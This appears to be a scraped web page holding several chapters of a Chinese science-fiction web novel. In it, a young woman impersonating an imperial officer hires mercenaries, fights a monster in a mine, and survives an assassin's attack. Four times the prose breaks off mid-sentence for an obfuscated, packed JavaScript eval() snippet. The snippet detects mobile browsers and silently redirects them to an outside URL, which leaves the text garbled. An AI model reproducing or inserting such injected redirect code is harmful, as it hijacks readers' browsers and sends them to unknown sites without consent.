宁可的眼睛“唰”地一下亮起来,他们把她当成那什么帝国军官了! 可为什么呢?上尉是什么很牛的军衔,所以大家都能认出宁珂的脸? 嘶……那要是拿宁珂的名号雇人干活,去完成系统任务,赚那三万块奖金……算不算星际诈骗? “……实不相瞒,我确实有个任务想委托你们。”宁可努力压住嘴角,坐直了身体,装出一副高深莫测的样子。 “愿闻其详。” “我需要你们带我去一个地方,到了之后探查一下,拍几张异常照片回来。” “能否提供确切坐标?是否存在敌对势力?” “坐标是x717.4,y960.22。至于有没有敌对势力……我不确定。”宁可硬着头皮复述系统的任务,“我只知道那里存在异常,我的‘任务’就是去看看。” “异常……是么。”古恩低声重复了一遍,转头看向副手,“亚尔斯,这片区域有情报吗?” 亚尔斯立刻掏出光脑,指尖在屏幕上快速翻飞。 下一秒,一道淡蓝色的光束投射在墙面上,展开了稀土星的局部全息地形图。 “x717.4,y960.22……”亚尔斯将坐标放大,“这里是一片废弃矿坑,距离基地大约两百公里,典型的沙地丘陵地形。这片区域是个三不管地带,近期我们没有这边的情报更新。具体情况,恐怕只能到了现场才知道。” 古恩沉吟片刻,果断下令:“这个任务你亲自带队负责。” “……是,老大。”亚尔斯认命地叹了口气。 “探查结束后,宁小姐还有其他计划吗?”古恩又问。 “应该……没有了。等这事办完,我会尽快离开这里,绝不给你们添麻烦!”宁可连连摆手。 开玩笑,等任务做完拿了钱肯定要立马拍屁股跑路。 否则,万一这帮人发现帝国那边要不到钱,打算割她腰子抵债怎么办? “很好。既然如此,我还有其他事务需要处理,失陪了。”古恩似乎也不想在这个令人头疼的‘帝国军官’面前多待一秒,他干脆利落地起身,“亚尔斯,带宁女士去熟悉一下环境,对接后续装备和计划。” 说罢,老古大跨步走出了会议室。 “哎……休假又泡汤咯!”等到脚步声远去,亚尔斯才收起光脑,叹口气抱怨道。 “啊?抱、抱歉,耽误了你休息……” “叫我亚尔斯就好,女士,”亚尔斯起身,行了个优雅又陌生的俯身礼,“请别在意,能为您服务是我的荣幸。” “……”宁女士不敢说话。 隔日清早,太阳射出第一抹曙光之际,宁可换上西彩准备好的作战服和防弹衣,背着一把不知道名字的步枪坐上越野车。 这是宁可第一次摸枪,兴奋的同时又有点失望,因为枪虽然看起来有点高科技,但依然是射子弹的,而不是什么高科技激光。 任务的报酬是三十五万帝国币,宁可听到这个数字时,好险没问出口三十五万能买她几个腰子。 车子开出殖民区后驶入一片平坦的戈壁,地面上随处可见一种古怪植物,叶片像芭蕉,茎干却仙人掌似的带着硬刺。 风卷着细沙吹过车窗,带着股干燥的土腥味,气温不冷不热,倒还算舒服。 开车的人是西彩,随行的有亚尔斯和另外三个不认识的雇佣兵,共计两个小时车程。 路上西彩和亚尔斯有一搭没一搭地斗嘴,偶尔扭打几下。 “所以老古真的有种反差你知道吗,就看着五大三粗,结果说话文邹邹一套一套的……” 听着西彩的吐槽,宁可也被逗笑了,气氛相当轻松。 离矿坑只剩最后一公里时,亚尔斯命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407347|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令众人保持安静,将车停在隐蔽的沙丘后,几人下车步行。 一路顺利,抵达矿场外围后,亚尔斯拿探测镜检查了一番,比了个安全的手势,众人都松了口气。 “这有啥异常啊,连个拾荒者都没有。”西彩揉了揉自己肩膀,抱怨道。 “雇主人美心善,给你发个简单活还不乐意?”亚尔斯开口打趣,随后转头看向宁可,“宁女士,直接在矿场外围拍几张照片就行吗?” 宁可询问系统,得到了否定的答复,便摇了摇头:“不行,得进去看看。” “可以具体描述一下异常的情况吗?免得漏掉了。” “呃……抱歉,我也不是很清楚……” “等一下队长!”一名雇佣兵突然喊道,举着通讯器皱眉,“这边有强磁场干扰,通讯设备全失灵了,跟总部联系不上。” “废弃的矿场有磁场干扰也算正常。”亚尔斯沉声道,“提高警惕,保持队形,互相照应。” 几人呈战术队形,开始对矿场进行地毯式搜查——矿场地表、废弃临建房、锈迹斑斑的简易发电站,一路查下来什么也没有发现,最后众人目光落向了矿场中央那个黑黝黝的矿洞口。 “啧,这设施也太落后了,怕不是从旧世界搬来的吧。”西彩围着矿场的老旧矿车转了一圈,又踢了踢锈迹斑斑的铁轨,忍不住吐槽。 “行了,别废话。”亚尔斯压低声音,“保持安静,进矿洞检查,速战速决,查完就撤!” 几人重新结队,宁可被护在队伍中间。 矿洞内一片漆黑,几人打开战术手电,往里走了大约一百米,矿洞开始以四十五度角斜向下延伸,沿途出现不少岔口,大多浅而短,众人简单探查记录后,又折回主路继续前进。 突然,亚尔斯的手电光柱顿住,落在地面上一个白色的东西上。 几人围过去,才发现是一具人类骨骸,右腿从大腿处缺失,要么生前就是个残废,要么是被活生生扯断的。骸骨身上的衣服早已风化破碎,但轮廓还在,看得出来死前穿着类似工装的衣服。 一名雇佣兵上前,小心翼翼地检查骸骨,从骸骨腰间找到一个破旧的皮质钱包,里面只有几张磨花的卡片,没有任何身份证明。 不远处的地面上,还插着一把通体漆黑的刀具,宽约一指,长约半米,单面开刃,刀身中脊贯穿一条细细的白色条状物,不知用途。 “高分子振动刀。”亚尔斯压低声音道。 队员将两样物品拿回来,在亚尔斯的示意下递给宁可。宁可有点发愣,目光投向系统对话框。 「这不会就是你说的奖励吧?」 「是。」 「可这是死人的东西啊!晦气!」 「你可以不要。」 宁可立刻把刀和钱包揣进怀里,动作干脆利落。 都穷成啥了,哪还轮得到她挑挑拣拣的。她随意挥了几下刀,没有想象中那么笨重,反而感觉挺顺手。 就是不知道振动刀的“振动”二字体现在哪里。 “咋了?”见众人一脸诧异地盯着她看,宁可开口发问。 “没想到你力气还挺大的。”西彩说。 宁可才注意到这把刀还挺重。 几人继续往矿洞深处走,空气中渐渐弥漫开一股刺鼻的腥臭,越往深处走,味道越浓重。 终于抵达矿洞尽头——其实也算不上尽头,只是前方的道路被坍塌的废土和巨石堵了个严实,墙角虽然留有缝隙,但以成年人的体格大概钻不过去,用爬的又太危险,众人不愿再前进。 “要不快回去吧?我真快吐……”西彩捂住鼻子,皱着眉开口,话刚说一半,就被亚尔斯用眼神制止。 众人瞬间安静,侧耳倾听。 矿洞的另一侧,透过巨石的缝隙,隐隐传来一阵低沉、沙哑的嘶吼声,断断续续,却透着股令人心悸的凶狠。 西彩下意识咽了口唾沫,慢慢举起光脑和手电,想凑到缝隙前拍张照——“咚!” 一声巨响,缝隙突然被撑开!一个形如剥皮鬣狗的怪物猛地从缝隙中钻出半具身体,满嘴尖牙外翻,一边朝着众人发出震耳欲聋的怒吼,一边歇斯底里地往外钻动! 西彩惊叫一声踉跄后撤,却见另一身影冲上前去,一刀贯通怪物头颅。 怪物嘶吼声戛然而止,身体剧烈颤动了几下,彻底没了动静。 4. 巴椰沙 宁可觉得自己有点应激了。 从怪物的第一声嘶吼开始,她就联想到虫族。 虽然结果证明她没错,但她自觉在和虫族有关的事上,自己确实有点神经质。 如果是正常情况,她绝对不会当这个出头鸟,能躲多远躲多远,但虫族怪物露头的一瞬间,她感到恐惧,不仅仅是对虫族的恐惧,也是对几名同伴的,准确来说,她害怕同伴们开枪,害怕枪械造成的巨响。 所以她冲上去挥下这一刀,并迅速扭头作嘘声手势。 给虫族留影记录后,几人缓缓撤离,随着臭味逐渐散去,笼罩在众人身上的阴云好像也消散了不少。 众人重新上车,踏上返程的路。 “宁小姐,谢谢你啊,刚才真是吓死个人。” 西彩这次没有坐在副驾驶,反而坐到了宁可对面,不知道为什么,西彩心情相当低落,虽然语气故作轻松,但任谁都能看出是装的开朗。 “啊,没、没有啊,反正那个虫族又出不来,不用特地谢我的。” 此话一出,几人的视线都集中在宁可身上。其中一个雇佣兵咽了口唾沫,问道:“那个不是虫族吧?虫族不是霍拉比星上才有么?” “啊?欸?”宁可愣住。 “要是虫族就大条喽,要么是有人把虫族运到稀土了,要么虫族自己飞过来了。”亚尔斯在驾驶座开口道,“宁女士能确定那是虫族么?” “我……”宁可也有些迟疑了,“我也不太确定。但我觉得是。” 起码那东西的外表,和她在霍格裂谷杀死的那个有九成相像。 如果不是的话,两个星球上完全不相干的两个物种,长成了一个样子,这种可能性真的存在么? 不,这种事情跟自己没关系。她想。 只要安心提交任务,然后提桶跑路就好,她不是宁珂,不想做什么英雄,也没有讨好谁的兴趣。 唯一的问题是。 「系统,你说你旨在无可奉告,是什么意思?」 「字面意思。」 「那,等完成任务以后,不会还有一堆类似的任务等着我吧?」 「无可奉告。」 宁可的心沉了几分。 “队长,boss让我们从地下车道回据点。”快抵达灰城时,负责通讯的队员对亚尔斯说道。 “知道了。” 亚尔斯不知道按了个什么按钮,越野车车体四周自动升起遮篷,驶向一条向地下延伸的道路。 宁可觉得挺新奇,但其他人皆是一副见怪不怪的模样,也就没好意思开口问。 她老感觉自己像个乡巴佬。 回到住处略作休整后,宁可接到亚尔斯通知说古恩想跟她谈谈,她没有拒绝的理由,便跟着亚尔斯去了。 别是发现帝国那边要不到钱了吧?宁可暗暗祈祷。 事实证明她多虑了。见面初始,古恩询问了一番任务完成情况和满意度,随后提到虫族的事。 “宁小姐,我想请教一下,帝国方面是早就知道稀土星有虫族的存在么?” 宁可能怎样?瞎编呗。 “呃……这个是未公开的消息所以……” “未公开的消息……也就是说,对部分帝国高层人员来说,这是已知的情报,是么?” “……大、大概不是。” 古恩低头思索起来,片刻后起身踱步到窗边,阳光透进来,照在他古铜色的肌肤上。 宁可不安极了,可这有什么办法,她不擅长撒谎,是个心地善良的好孩子……真不知道该开心还是难过。 “……额,抱歉。”古恩回过神来,转身看向宁可,“请原谅我的莽撞,帝国的战略确实没有我等窥探的余地。那作为交换,我也向宁小姐提供一些情报吧。” “啊,可、可以啊?” “没记错的话,宁小姐是前天抵达灰城的吧?” “嗯。是的。” “就如宁小姐所见,在灰城,野狼佣兵团虽有一定影响力,但本质上,这里仍是多方势力汇集、鱼龙混杂的灰色场地。” “嗯嗯。是的吧。” 宁可其实对此一无所知,虽然她昨天一整天都没事干,但她也没出门搜集情报,而是拿着西彩借的游戏机玩了一整天。 当宅女可开心啦,情报有啥用,有吃有喝还出门干啥? “但从昨日早晨开始,灰城开始涌入大量外来人员,商人、通缉犯、星际海盗,不一而足。” “嗯……” 所以不出门是对的!外面坏人那么多,出去可能有危险!自己的直觉真厉害!这都预料到了! “这是很罕见的情况,我觉得这背后可能有什么蹊跷。” “这样啊。跟我有关系吗?” “……”古恩盯着宁可的脸看了三秒,也没看透面前这个女人的所思所想,“我只是觉得宁小姐可能需要知道这件事,如果宁小姐觉得无所谓,那就是我多言了。宁小姐计划什么时候离开稀土呢?” “呃,如果我说三天后……可以吗?如果不方便……” “可以的,届时我会安排人员护送宁小姐前往星港。” “好、好的,近日多有叨扰了……” “祝宁小姐武运昌隆。” 古恩说完,转身向窗外,看向目光不可及之处。 宁可回到房间就开始收拾东西,所谓三天后其实只是个幌子,真等三天过去,她怕是已经走不掉了。 但她转念一想,自己也没钱买车票啊,于是把视线投向系统对话框。 任务要求把照片提交给帝国……可帝国在哪啊?能给个公众号吗说真的…… 「傻系统,你这次要是还用抵价券忽悠我就死给你看!」 「……」 宁可咬牙切齿,正烦恼着三万块够不够买这种长途车票,便从余光里看见西彩和亚尔斯站在门口。 三人面面相觑。 “你、你们怎么不敲门……” “门本来就没有关啊。”西彩道。 “是吗?” “嗯。” 宁可挠了挠头,那好像确实是自己的问题。 “你……宁小姐这么快就要走了吗?” “不、不是!怎么会~我就是嫌乱收拾一下,收拾一下哈哈……” 宁可朝四周看了一圈,莫名想给自己一巴掌,自己全部家当只有逃难时穿的那身红色作战服和那把意义不明的振动刀,其他全是嫖佣兵团的,满打满算也没几样东西,乱什么乱! “……原来如此,那就好,我们还想请宁小姐吃个饭的,”西彩笑笑,身体一松靠在门框上,“可以请宁小姐赏个脸吗?” 几分钟后,三人并肩离开据点,走向商业区。 “你们叫我宁可就好了,真的,宁小姐宁女士啥的听起来怪渗人的。” “宁可吗?”西彩歪歪头,“不是宁珂?” “呃……宁珂也可以,也可以。对了,我有个问题,你们是怎么知道我是宁珂的啊?” “我们收容你的时候,破解拿到了穿梭舱登录的乘客信息。” “……等下……那也就是说,从一开始……” 宁可打了个寒颤,扭头看向亚尔斯。 “抱歉,我们一开始是觉得如果您不想被认出来,那我们也没有必要揭穿您的身份,”亚尔斯举起手,作投降姿势,“不过boss似乎觉得没必要。” “我还一度以为你真的失忆了,”西彩说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407348|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为你跟我们接待过的帝国军人完全不一样。” “啊哈哈……” 某种程度上他们猜的没错。 似乎只要有这两个人在场,气氛就一定是轻松快活的,三人闲聊着走进一家看起来挺高档的店,宁可坐一边,西彩亚尔斯坐另一边。 西彩请客,点了三份名为“巴椰沙”的食品,宁可瞟了一眼价格,看到少说三位数,不禁又感到一阵心慌愧疚。 西彩说这是稀土星本土产的唯一能吃的东西,其他的毒不死人但都像啃木屑,尤其是亚尔斯平常喜欢吃的那些棕巧克力树的衍生食品,闻着就一股shi味。 亚尔斯额角狂跳,开始跟西彩斗嘴,是说这两个人真的很有活,吵起架来像说相声。 宁可没忍住笑。 听见宁可的笑声,两人好像也有点局促了,逐渐收敛起来。 “宁小姐见笑了,孩子不懂事,天天跟我吵架,没大没小的。”西彩说。 亚尔斯嗤之以鼻。 “二位真……”宁可本想说般配,但又感觉太冒犯,中途改了口,“关系真好。” “哈?谁跟他关系好?天天犯蠢让我擦屁股。”西彩第一个反驳。 “这话我原话奉还。” “啊对了,有个问题我想请教一下二位。”宁可忽然想起来正事,“如果我想把之前在矿场拍的照片匿名传给帝国,我应该怎么做?” “为什么要匿名?”西彩有些困惑。 “呃……”宁可语塞,其实也没什么特殊缘由,只是她终究不是真的宁珂,只想低调些,不愿总顶着这个名字露面。 西彩摆摆手:“当我没问,其实我对你们帝国的事情也没兴趣,这件事交给我就行。只是……” 她话音顿住,扭捏起来,似乎在做什么决定,宁可看向亚尔斯,亚尔斯也没有反应,便只好耐着性子静静等候。 也就在此时,宁可背对着的方向,店门处走进两个衣衫褴褛、蓬头垢面的乞丐,跟柜台边的店员发生了争执。 “……我能请宁小姐也帮我个忙吗?”西彩道。 “啊?我、我吗?” “对,因为宁小姐说之后会回耶尓亚,所以……” “所以?” “如果宁小姐路过帝都的话,能顺路去看看我弟弟吗?不需要特别做什么,只要看一下他过得好不好就够了。” 柜台那边的争执似有了结果,店员松了口,两个乞丐一前一后,顺着过道朝宁可三人的方向走来。亚尔斯扫了两人几眼,眉峰微蹙,眼底掠过一丝不易察觉的困惑。 “彩姐的弟弟在帝都吗?” “嗯,他一个人在那边……应该是在帝都国立星际学院上学……”西彩声音忽然有点凝滞,但她深呼吸一口气,又恢复了正常,“之前因为点事跟他吵了一架,后来就联系不上了,我又在当雇佣兵,不是想回去就能回去,算起来都有好几年没见过他了……” “你们爸爸妈妈不在那边吗?” 西彩摇了摇头。 “我不能保证,但我尽量,行吗?” “嗯。谢谢宁小姐了。”西彩从随身的包里拿出来一个盒子,推到宁可面前,“这是谢礼,宁小姐的光脑在霍拉比星丢了对吧?刚好让我送个人情。” 宁可打开盒子,里面静静躺着一个崭新的、套着粉色外壳的便捷式光脑,巴掌大小,看起来很有少女心。 此时,乞丐已走到几人近前。在距离不足三米处,两名乞丐不约而同抬臂,亚尔斯见状骤然起身,将身下的椅子砸了过去。 下一刻两声枪响重叠,宁可的左背,亚尔斯的右臂各自绽放一朵血花。 「检测到宿主生命垂危,提供一次战斗特化模式权限。」 5. 下水道战士 宁可首先感受到的,是后背处撕裂般的痛楚和异物入体的恶寒,但这种感觉很快又淡化到不影响行动的程度,取而代之产生了一种极端的愤怒和眩晕感。 仿佛一个盒子,如果可以这样形容的话,整栋建筑就是一个长而宽的低矮扁方盒。 在方盒一侧墙边,亚尔斯怒吼西彩的名字,同时扑向距离较近的乞丐,乞丐仓促开出第二枪,子弹被亚尔斯丢出的椅子挡住。 西彩抿唇起身拔枪,另一名乞丐按动扳机,枪口指向宁可的后脑勺。 宁可视线仍停留在面前的光脑上,没有看向乞丐,也并未关注亚尔斯西彩的一举一动,然而一切的一切,却像一场慢放的全息电影,在宁可脑海中上演。 晕眩感消退,本能间,宁可向右偏头,子弹擦着发丝在耳边呼啸而过。 宁可蹬腿转身,速度比所有人都快,但仍比她想象中要慢,体感上她好像身处一片汪洋,举手投足都必须抵抗水流的阻力。 以亚尔斯和第一名乞丐为掩体,宁可跨出第一步,随后扭身穿过二人身侧,下蹲躲过二号乞丐第三枪,在第四枪击发前,抓住对方手腕。 为什么要袭击她?她明明没有惹任何人啊! 在这种怨恨的驱使下,宁可手指发力,“嘎嘣”的脆响从对方的腕骨传入她的双耳,没有理会对方的惨叫,用空余的右手挥出一拳,砸向对方的脸。 “砰”一声,伴随着鼻骨碎裂的声音,二号乞丐向后倒飞三米,像一个玩偶,扭曲着身体,颈椎弯折翻倒在地,再无动静。 战斗仍未结束。 又是两次枪响,其中一次来自西彩,然而在宁可的“感知”中,这枚子弹明明精准射向一号乞丐的左胸,却在抵达前,被乞丐皮肤一厘米外绽放出的无形波纹偏折弹开。 乞丐毫发无伤,反而一手擒住亚尔斯脖颈,一手开火射伤亚尔斯腹部。 亚尔斯口吐鲜血。 “亚尔斯!”西彩惨叫一声,宁可则扭身挥拳砸向一号乞丐后背。 “嗡……”这次的感受更为清晰,在宁可拳头抵达的前一瞬,某种声波样的东西在乞丐身上产生,宁可随之感到一股庞大的斥力。 这一拳仅让乞丐踉跄几步。 乞丐将亚尔斯一脚踹飞,回身对付宁可,宁可伸手夺枪,谁知对方竟直接将枪扔掉,左手摸出一把匕首刺向宁可的脸,宁可侧身躲避,对方却好像看穿了宁可的行动,半路偏转手腕,匕首追往宁可的身体。 宁可不得不抬臂格挡,这一刀在宁可胳膊上撕出深可见骨的一道伤口。 好在痛觉转瞬淡化。 西彩没有放弃射击,一有机会便往乞丐身上倾泻子弹,但缠斗着的二人动作太快,西彩很难找到机会。 另一边,宁可自知不敌,也不敢贸然进攻,只能以躲闪为主。 几度僵持后,宁可察觉到乞丐抵挡子弹的那种波纹似乎减弱了几分,心中暗喜有戏。 “别动!” 恰在此刻,店内闯入几个身着印有“商行联保”字样的黑衣持枪人员,喝令间举枪指向宁可几人。 “啧……”乞丐咂了下嘴,抓住宁可分神刹那,捏爆了一个球状物体。 赤红色的烟雾瞬间弥漫,火辣辣的痛感袭入宁可的胸肺和双眼。 “咳咳……”宁可捂鼻俯身狂咳,逃出烟雾覆盖范围,回神时,已不见那名乞丐身影。 “亚尔斯……亚尔斯……”耳边响起西彩夹杂啜泣的呼喊。 宁可正欲抬步过去探看情况,却眼前一黑鼻头一热,伴随着“感知”的消失,后背和胳膊上的痛感一齐涌现,随后瘫倒在地失去意识,不省人事。 「战斗特化模式已关闭。」 …… 「当前主线任务已完成。奖励已发放。 主线任务已触发:躲避或击败杀手伍迪·泰勒,并离开稀土星,前往耶尓亚星。 任务奖励:战斗特化模式使用次数*3(当前可用次数:-1)。 注:战斗特化模式会对宿主身体产生巨大伤害,请酌情使用。 失败惩罚:电击惩戒。」 时值黄昏,灰城一角,野狼佣兵团据点病房里,宁可醒来看到的第一样东西,仍是这个意义不明的欠揍对话框。 「伍迪,就是之前餐厅里对我们开枪的人吗?」宁可问。 「是。」 「为什么?我们惹他了?」 「……」 宁可叹了口气。 「说真的,我有点不想干了,你的任务太危险,然后我辛辛苦苦干完,不知道为什么干,也不知道干了什么,现在还害得我们被袭击,亚尔斯被连累。」 系统的回复一如既往。 「……」 宁可翻了个身,从对话框上挪开视线。 「反正你的任务莫名其妙,做完了估计又有新的,一眼望不到头的。你想电我就电,有本事你电死我呗,死了一了百了,免得又弄一堆破事。」 「……」 「而且你那种颐指气使的样子也很让人来气,凭啥我就非得听你指手画脚不可,我是二十一世纪的自由公民好吗,又不是什么奴隶黑工。」 「……」 宁可咂了下嘴,用被子捂住头,闭上眼睛打算先睡个回笼觉,什么伍迪泰迪的都滚蛋。 然而,宁可又听到脚步声。 擦,不会是泰迪吧?这么快又来?还让不让人活了? 宁可偷偷把被子揭开一条缝往外窥探,还没看到来人的脸,便已听到对方的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407349|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “宁小姐,你醒了吗?” 是西彩的声音。 宁可把头露出来,“彩、彩姐,”打完了招呼,宁可又想起之前发生的事,“亚尔斯他……” “他没事,就是有点失血,休息一阵就好了。” “啊……那就好……” 宁可的心放下几分,但愧疚感却丝毫没有减轻。 “你感觉怎么样?有哪里不舒服吗?”西彩问。 “还、还好。那个……彩姐,我昏迷了多久啊?” “一天一夜……医生说你的身体愈合能力很强,伤口很快就能恢复。” 宁可一愣,试着动动肩膀摇摇胳膊,确实已经几乎感受不到伤口存在了。 “但是……” 西彩抿抿唇,从背包里取出一个文件袋,里面装着数张塑封的薄片,乍看像前世的X光片,可凝神细看,色泽与精细度又相去甚远。 她抽出一张递到宁可眼前,片上清晰显影出一颗大脑的轮廓。 “这是正常人的脑部蓝流成像图。” 说着,西彩又拿出另一张,指尖点在片子里左右脑衔接处的一块椭圆形阴影上。 “这张是你的。看到这块阴影了吗?医生说,你当时的失血量根本不足以导致昏迷,真正的原因,是这个东西。咱们这个据点的设施有点简陋,没法确定它到底是什么,等你回耶尓亚,得去帝都的医院做一下详细检查。” 宁可张了张嘴,呼吸有些发紧,这个场面让她感到似曾相识。 不会又得绝症了吧? “啊,不过你别担心,医生说估计不是什么大问题,现在的医疗手段,就算是肿瘤什么的,也能给你安全摘出来。” “真、真的吗?” “真的,”西彩笑了笑,“当然,前提是你安全到达帝都。老古说之前饭店那两个人,逃走的那个应该是名叫伍迪·泰勒的职业杀手,估计是朝你来的,你要小心点。” 西彩离开后,宁可沉思了很久,觉得还是不要留在野狼佣兵团比较好,一方面自己算是拿宁珂的身份摆了他们一道,另一方面如果那个杀手阴魂不散,估计又要连累别人,佣兵团的人对她很好,她不想恩将仇报。 于是,等到夜晚降临后,宁可偷偷溜出病房,回到住处收拾好东西,准备悄无声息地离开。 路上,她揭开了胳膊上的绷带,却只在伤口处看到一条几乎痊愈的伤疤。 这么厉害!?难道她是铁血战士? 然而事情总不可能都那么顺利,宁可鬼鬼祟祟绕了据点整整一圈,始终没能找到无人把守、能安然离开的路。 最后,宁可只得再次将视线投向下水道井口。 ok,不知道真正的铁血战士是不是也喜欢这样钻下水道。 6. 中间人 …… 帝都某间高规格医院病房外,林怡欣提着果篮探头探脑。 “唔啊,哥你真在啊。” 见病房里没外人,她才跨步走进去。林塔却像没听见,坐在病床上一动不动,只怔怔望着窗外透进来的阳光。 “哥!” 林怡欣用果篮轻轻撞了下他胳膊。 林塔这才缓缓回神:“……欣怡啊,今天不用上课么?” “周六上什么课,脑袋被撞傻了?” 她拉过凳子坐下,把果篮搁在一边,剥了根香蕉递到他面前,心里盘算着只要他一伸手,就立刻塞进自己嘴里。 可林塔只是淡淡道:“你吃吧,我没什么胃口。” 林怡欣愣了一下,也不矫情,直接把香蕉送进自己嘴里,嚼了几口,忽然一把掀开盖在林塔下半身的被子,扫了一眼又盖回去。 “怎么了?”林塔问。 “嗯……”林怡欣啃着香蕉绕着他转了一圈,这边捏捏那边拍拍,最后得出结论,“你这不挺好的嘛,摆个臭脸干嘛。” “……” “爸妈很担心你。” “我会抽时间给他们打电话。” 林怡欣点点头,把香蕉皮丢进垃圾桶,认真盯着他的脸。林塔却偏开目光,不知在想什么。 “哥,说真的,你没事吧?” “没事,这不好好的吗?” “你骗鬼吧。”她翻了个白眼,“以前你住院,从来都没这么安分,今天怎么了,被女朋友甩了抑郁了?” 林塔自嘲地笑了笑:“你哥哪来的女朋友。” “也是。”林怡欣做了个鬼脸,“没事啦哥,你虽然性格烂,客观说还是挺帅的,实在不行我把闺蜜介绍给你。” 林塔张了张嘴,却一句话也说不出来。 他竟然一时想不起,自己以前是怎么和妹妹相处的。 “嘁……肯定有事。”林怡欣嘟囔,“不说拉倒,我还不乐意听呢。” 她又剥了一根香蕉,打算这次不管林塔吃不吃都硬塞进他嘴里。 可刚剥好,病房门口就传来脚步声。 来人一身白衬衫西裤,身姿修长挺拔,面容英俊冷冽,可眼底布满血丝,黑眼圈厚重,整个人透着一股脆弱又疲惫的气场。 林怡欣见过他几次,据说是林塔的上司,慕远,慕家大少爷。一年前还去她们高中做过宣讲,当时全场女生尖叫,男生羡煞,一片鬼哭神嚎。 但林怡欣对他向来不感冒,此刻被打扰,更是暗暗咂嘴,有些不爽。 “行吧,我先去转转,下午再来看你。” 她拿着香蕉,识趣地起身离开。 慕远这才走进病房,停在病床边。 林塔不说话,慕远也只是站着,沉默了三四分钟,才在林怡欣刚才坐过的凳子上坐下。 他开口,声音低沉沙哑: “为什么作伪证。” “你猜不到么?”林塔反问。 “那,为什么瞒我?” “不然呢?告诉你你从小炫耀的爹是个懦夫?”林塔冷笑,“我真有点恶心。要不是小珂求我,我才懒得管你慕家死活。” “所以是她想的主意?” “你觉得可能么?” “不是她,那就是程长老。” “程虎没直接找过我,但八九不离十。”林塔深吸一口气,“人都死了,再问这些有什么用。” “她……” “我问你。”林塔猛地扭头,死死盯住慕远阴沉的脸,咬牙切齿,“霍格拉撤离行动时,你给宁珂下达的指令是什么?” “在霍格裂谷附近牵制虫潮主力,争取时间。” “霍格裂谷距离殖民地十三公里。谁负责接应她撤离?” 慕远沉默。 “没有接应?” “……没有。” “死守?” “死……” 第二个字还没落地,林塔一拳已经砸了上去。 凳子翻倒,椅脚刮擦地板,发出刺耳的尖响。 谁也没看清林塔是什么时候下床的。他怒急攻心,直接跨坐在慕远身上,一拳接一拳往他脸上砸。慕远也被打出了火气,猛地抬头,一头撞在林塔脸上。 两人彻底不管不顾,像街头混混一样毫无章法地互殴,把积压的怨气全都砸在对方身上。 直到护工冲进来,强行把两人拉开。 林塔仍在暴怒边缘,嘶吼道:“真tm瞎了你的狗眼!她是你未婚妻,你就这么忍心看着她死!?” 慕远喘着气站稳,抹掉嘴角的血,冷冷回敬:“你又好到哪去?你真在乎她,又怎么会让她背负骂名?” “你以为我想这样!?” 慕远深呼吸几次,沉默几秒,一把推开护工的手,不再理会林塔的嘶吼,径直朝门口走去。 离开前,他脚步一顿,深吸一口气,丢下一句让林塔重新安静下来的话: “她没死成。之前传来消息,逃到了稀土。” …… 同一时刻的稀土星,灰城商业区的酒吧。 各色聚光灯闪烁,在墙上、地上、人们脸上乃至抽烟者吐出的烟雾上打出各种颜色的光斑,在这里,若没有靠近到一定程度,人们甚至看不清互相的脸。 然而,就算和那个女人只相隔一个吧台,金咕咕也依然没看清对方的面貌,他擦杯的手不禁顿了顿,酝酿了番措辞。 “美女,我猜你一定是最近的哪位当红明星。” 女人好像挑了下眉毛,之所以说好像,是因为她戴着墨镜、口罩和一顶帽檐很宽的黑色软礼帽,金咕咕实际看不见她的眉毛。 衣着方面,女人不出意料地穿着一身宽大的深棕色高领风衣,十足一副电影里蹩脚侦探掩人耳目的派头。 “真的吗?那你觉得我像哪个明星?”女人问。 “嗯……梅迪莉尔吧,我觉得。”金咕咕随口回答道。 梅迪莉尔饰演过最出名的角色,是搞笑喜剧唐人星探案的主演侦探。 金咕咕觉得对方应该能懂自己的调侃,但女人显然没有get到,接着问道:“有照片吗?漂不漂亮?” “……网路上应该能查到。” 女人当真拿出光脑查了一番,随后抬头,目光不善(金咕咕脑补的)。 “看起来不怎么聪明啊,哪里像我了??” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407350|200590||http|test|mini|href|location''.split(''|''),0,{})); () { 